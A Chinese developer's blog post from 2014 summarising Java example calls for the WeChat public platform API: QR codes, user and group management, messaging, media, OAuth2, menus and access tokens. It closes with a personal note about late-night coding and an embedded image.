-webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp; &nbsp;&nbsp; 上文中已提到之前的基础接口总结,本文将不再赘述,接下去,将对已实现的高级接口作一个总结:</div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 14px;">1.创建二维码接口</span></strong></p></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>// 获取接口访问凭证<br/>String accessToken=getAccessToken("appid", "appsecret").getAccesstoken();<br/>// 创建临时二维码<br/>// gQHN7zoAAAAAAAAAASxodHRwOi8vd2VpeGluLnFxLmNvbS9xL0pFTUxKVDdsS1Q1UWFOeGtvbTJ3AAIEIn4ZUwMECAcAAA==<br/>WeixinQRCode Temporaryqrcode=createTemporaryQRCode(accessToken, 1800, 1);<br/>System.err.println(Temporaryqrcode.getTicket());<br/>// 创建永久二维码<br/>// gQGx8DoAAAAAAAAAASxodHRwOi8vd2VpeGluLnFxLmNvbS9xL1JrTlIyajNsZ2o3NzlyNXFfRzJ3AAIEGKUZUwMEPAAAAA==<br/>String Permanentqrcode=createPermanentQRCode(accessToken, 2);<br/>System.err.println(Permanentqrcode);<br/>}<br/></div><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 14px;">2.</span><span style="font-size: 13px;">获取二维码工具</span></strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>String ticket="gQGx8DoAAAAAAAAAASxodHRwOi8vd2VpeGluLnFxLmNvbS9xL1JrTlIyajNsZ2o3NzlyNXFfRzJ3AAIEGKUZUwMEPAAAAA==";<br/>String savePath="D:/db";<br/>// 根据ticket换取二维码<br/>getQRCode(ticket, savePath);<br/>} <br/></div><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 14px;">3.</span><span style="font-size: 13px;">获取用户基本个人信息方法</span></strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>// 获取接口访问凭证<br/>String accessToken=getAccessToken("appid", "appsecret").getAccesstoken();<br/>// 获取用户基本信息<br/>PersonalInf personalInf=getPersonalInf(accessToken, "openId");<br/>System.out.println(personalInf.getOpenid());<br/><br/>// 查询用户所在分组<br/>int groupid=getPersonGroupId(accessToken, "openId");<br/>System.err.println("组id是:"+groupid);<br/>}<br/></div><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 13px;">4.获取关注者列表 &nbsp;</span> &nbsp;</strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>// 获取接口访问凭证<br/>String accessToken=getAccessToken("appid", "appsecret").getAccesstoken();<br/>WeixinUserList weixinUserList=getUserList(accessToken, "");<br/>System.err.println("total:"+weixinUserList.getTotal());<br/>System.err.println("count:"+weixinUserList.getCount());<br/>System.err.println("openid:"+weixinUserList.getOpenIdList());<br/>System.err.println("next_openid:"+weixinUserList.getNextOpenId());<br/>}<br/></div><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 13px;"> 5.用户组操作工具</span></strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>// 获取接口访问凭证<br/>String accessToken=getAccessToken("appid", "appsecret").getAccesstoken();<br/><br/>// 获取分组列表<br/>List&lt;WeixinGroup&gt; groupList=getGroups(accessToken);<br/>// 循环输出各分组信息<br/>for(WeixinGroup group:groupList){<br/>System.err.println(String.format("ID: %d 名称: %s 用户数: %d", group.getId(),<br/>group.getName(),group.getCount()));<br/>}<br/><br/>// 创建分组<br/>WeixinGroup group=createGroup(accessToken, "学生");<br/>System.err.println(String.format("创建学生组成功: %s id: %d", group.getName(),group.getId()));<br/><br/>// 修改分组<br/>boolean result=updateGroup(accessToken, 100, "傻逼");<br/><br/>// 移动用户分组<br/>boolean result2=removeMemberGroups(accessToken, "openId", 100);<br/><br/>} <br/></div><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 13px;">6.发送客服消息工具 </span></strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>// 获取接口访问凭证<br/>String accessToken=getAccessToken("appid", "appsecret").getAccesstoken();<br/>// 组装文本客服消息<br/>String jsonTextMsg=MakeCustomMessage.makeTextCustomMessage("openid", "哈哈哈哈");<br />          // 其他类型此处略去,请看源码<br/>// 发送客服消息<br/>sendCustomMessage(accessToken, jsonTextMsg);<br/>}<br/></div><p>&nbsp;</p><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 13px;"> 7.上传下载多媒体文件工具&nbsp; </span></strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>// 获取接口访问凭证<br/>String accessToken=getAccessToken("appid", "appsecret").getAccesstoken();<br/>// 上传多媒体文件<br/>WeixinMedia weixinMedia=uploadMedia(accessToken, "image", "http://localhost:8080/wechatapi/upload/sedion.jpg");<br/>System.err.println(weixinMedia.getMediaId());<br/>System.err.println(weixinMedia.getType());<br/>System.err.println(weixinMedia.getCreatedAt());<br/><br/>// 下载多媒体文件<br/>String filePath=getMedia(accessToken, "", "D:/db");<br/>System.err.println(filePath);<br/>}<br/>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 13px;">8.OAuth2授权工具 </span></strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>WeixinOauth2Token weixinOauth2Token=getOauth2AccessToken("appid", "appsecret", "code");<br/>System.err.println("weixintoken是:"+weixinOauth2Token);<br/>String accessToken=weixinOauth2Token.getAccessToken();<br/>System.err.println("accestoken是"+accessToken);<br/>String openId=weixinOauth2Token.getOpenId();<br/>System.err.println("openId是"+openId);<br/>SNSUserInfo snsUserInfo=getSNSUserInfo(accessToken, openId);<br/>System.err.println("snsUserInfo是"+snsUserInfo);<br/><br/>}<br/></div><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 14px;">9.自定义菜单接口</span></strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) { <br/> // 第三方用户唯一凭证 <br/> String appId = "appid"; <br/> // 第三方用户唯一凭证密钥 <br/> String appSecret = "appsecret"; <br/> // 调用接口获取access_token <br/> AccessToken at = CommonUtil.getAccessToken(appId, appSecret); <br/> if (null != at) { <br/> // 调用接口创建菜单 <br/> boolean result = MenuUtil.createMenu(getMenu(), at.getAccesstoken()); <br/> // 判断菜单创建结果 <br/> if (result) <br/> log.info("菜单创建成功!ok"); <br/> else <br/> log.info("菜单创建失败,错误码:" + result); <br/> } <br/> }<br /> <br/></div></div></div><h4 style="margin: 20px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;"><span style="font-size: 13px;">10.获取access_token</span></strong></p><p>&nbsp;</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> public static void main(String[] args) {<br/>// 获取接口访问凭证<br/>AccessToken accessToken=getAccessToken("appId", "appSecret");<br/>if (accessToken.getAccesstoken()==null) {<br/>System.out.println("空");<br/>}else {<br/>System.out.println(accessToken.getAccesstoken());<br/>}<br/>}<br/></div><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><h4 style="font-style: normal; font-variant: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; margin: 40px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;">总结:</strong></p><p>&nbsp;&nbsp;&nbsp; 上文中草草的将代码复制黏贴了一下,已经到了2014年4月19日00:30:45,不知不觉中这几年的这些夜晚都是这么过来的,熬夜,熬夜,熬夜,其实我也喜欢睡觉,我也喜欢玩,可是条件不允许,作为一个大三学生党,把自己的大学生涯都压在了代码身上,未来任是扑朔迷离,但深信,吃得苦中苦方为人上人。此处与各位共勉!</p><p>&nbsp;&nbsp;&nbsp; 看了这么多,你是不是在问源码呢,源码怎么没有,别急,为了防止小人,不将源码放在git上任大家下载了,求源码者请加入QQ群,源码就在群共享中,群主是本人,有什么问题大家可以一起交流,一起分享!</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="data:image/png;base64,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